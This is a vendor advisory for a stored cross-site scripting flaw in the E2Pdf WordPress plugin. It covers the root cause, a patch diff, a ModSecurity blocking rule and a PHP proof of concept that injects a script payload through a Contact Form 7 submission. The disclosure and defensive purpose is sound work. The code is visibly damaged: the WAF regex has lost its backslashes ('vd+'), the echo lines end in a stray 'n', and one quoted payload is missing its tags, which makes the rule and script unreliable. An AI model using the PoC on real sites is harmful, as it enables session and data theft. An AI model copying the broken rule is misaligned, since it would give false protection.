Published : November 26, 2026

CVE-2026-137041: E2Pdf <= 2.00.05 Unauthenticated Stored Cross-Site Scripting via 'PDF Access By URL' Error Message PoC, Patch Analysis & Rule

Plugin e2pdf
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.00.05
Patched Version 2.00.06
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137041:

CVE-2026-137041 is an unauthenticated Stored Cross-Site Scripting vulnerability in the E2Pdf plugin for WordPress, affecting versions up to and including 2.00.05. The flaw resides in the ‘PDF Access By URL’ action handler, which outputs an error message containing a user-supplied Contact Form 7 field value without proper escaping. An attacker can inject arbitrary JavaScript that executes when any visitor opens the generated download URL, leading to site compromise. The CVSS score is 7.2 (High).

Root Cause:
The vulnerability exists in the file e2pdf/classes/controller/frontend/e2pdf-download.php around line 175. When an action of type ‘PDF Access By URL’ fails its condition check, the plugin calls wp_die($error_message, ”, [‘exit’ => true]). The $error_message variable is constructed from the action’s configured error_message template, which may include [your-name] or other Contact Form 7 field placeholders. These placeholders are replaced with raw user input from the CF7 submission without sanitization. The patched version wraps $error_message with wp_kses_post() before passing it to wp_die, which strips disallowed HTML tags and attributes but allows safe HTML. The root cause is the lack of output escaping or sanitization on the dynamic content within the error message.

Exploitation:
An unauthenticated attacker submits a Contact Form 7 form that triggers an E2Pdf action configured with ‘PDF Access By URL’ and an error_message that references a CF7 field (e.g., [your-name]). The attacker injects a malicious script payload into that field, such as `alert(document.cookie)`. The plugin stores this payload (likely in the PDF entry or transient) and embeds it into the error message. When the attacker or any visitor accesses the resulting shareable download URL (generated by the action), the payload executes in the context of the victim’s browser. The attack requires no authentication and can be delivered via a single form submission.

Patch Analysis:
The patch changes the vulnerable line from wp_die($error_message, ”, [‘exit’ => true]) to wp_die(wp_kses_post($error_message), ”, [‘exit’ => true]). The wp_kses_post() function sanitizes the message by allowing only a safe subset of HTML tags and attributes, effectively neutralizing XSS vectors while preserving basic formatting. Before the patch, the raw error message (including unescaped user input) was output directly. After the patch, any malicious scripts or event handlers are stripped, preventing execution. The version bump from 2.00.05 to 2.00.06 indicates the fix release.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the crafted download URL. This can lead to session hijacking, theft of sensitive data (cookies, tokens), redirection to malicious sites, defacement, or further compromise of the WordPress site (e.g., creating admin accounts). Because the payload is stored and triggered on a shareable URL, it can affect multiple users, including administrators, resulting in full site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/e2pdf/classes/controller/frontend/e2pdf-download.php
+++ b/e2pdf/classes/controller/frontend/e2pdf-download.php
@@ -175,7 +175,7 @@
                                             ];
                                             $this->json_response_ajax($response, 403);
                                         } else {
-                                            wp_die($error_message, '', ['exit' => true]);
+                                            wp_die(wp_kses_post($error_message), '', ['exit' => true]);
                                         }
                                         break;
                                     case $action['action'] == 'redirect_access_by_url' && isset($action['success']):
--- a/e2pdf/e2pdf.php
+++ b/e2pdf/e2pdf.php
@@ -4,7 +4,7 @@
   Plugin Name: E2Pdf
   Plugin URI:  https://e2pdf.com
   Description: Export PDF tool
-  Version:     2.00.05
+  Version:     2.00.06
   Requires at least: 5.9
   Requires PHP: 7.1
   Author:      E2Pdf.com

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137041
# This rule blocks the unauthenticated CF7 submission that seeds the XSS payload.
# It targets the Contact Form 7 feedback endpoint (REST API) and inspects the 'your-name' parameter.
# The rule uses @detectXSS to detect script injection attempts in the field.
# Note: The parameter name 'your-name' may vary depending on form configuration; adjust as needed.

SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/vd+/contact-forms/d+/feedback$" 
  "id:2026137041,phase:2,deny,status:403,chain,msg:'CVE-2026-137041 via E2Pdf CF7 XSS',severity:'CRITICAL',tag:'CVE-2026-137041'"
  SecRule ARGS_POST:your-name "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137041 - E2Pdf <= 2.00.05 - Unauthenticated Stored Cross-Site Scripting via 'PDF Access By URL' Error Message

$target_url = 'http://example.com'; // Change to your target WordPress site

// Step 1: Submit a Contact Form 7 form with a malicious payload in a field referenced by the E2Pdf error_message.
// This assumes a CF7 form with ID 1 and a field named 'your-name'.
// The payload will be stored and later reflected in the error message.

$cf7_url = $target_url . '/wp-json/contact-form-7/v1/contact-forms/1/feedback';

$payload = '<script>alert("XSS");</script>';

$post_data = [
    '_wpcf7' => '1', // form ID
    '_wpcf7_version' => '5.7', // version (adjust as needed)
    '_wpcf7_locale' => 'en_US',
    '_wpcf7_unit_tag' => 'wpcf7-f1-p1-o1',
    '_wpcf7_container_post' => '0',
    'your-name' => $payload, // malicious input
    'your-email' => 'attacker@example.com',
    'your-subject' => 'Test',
    'your-message' => 'Test message'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $cf7_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] CF7 submission response code: $http_coden";
echo "[+] Response body: $responsen";

// Step 2: Trigger the stored XSS by accessing the download URL.
// The generated URL typically looks like: /?e2pdf_download=UNIQUE_ID
// The attacker needs to know the unique ID or the shareable URL.
// In many cases, the URL is returned in the CF7 submission response or via email.
// For this PoC, we assume the URL is known (e.g., from a previous step or from the response).

// Extract download URL from response if present (simplified).
// In a real attack, the attacker might need to parse the response or use a separate channel.
// Here we just demonstrate accessing a hypothetical URL.

$download_url = $target_url . '/?e2pdf_download=1'; // Placeholder, replace with actual ID

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $download_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC');
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Download URL response code: $http_code2n";
echo "[+] Response body (inspect for payload):n" . $response2 . "n";

// If the payload appears unescaped in the response, the vulnerability exists.
if (strpos($response2, $payload) !== false) {
    echo "[!] Payload found in response. Vulnerability confirmed.n";
} else {
    echo "[-] Payload not found. The site may be patched or configuration differs.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.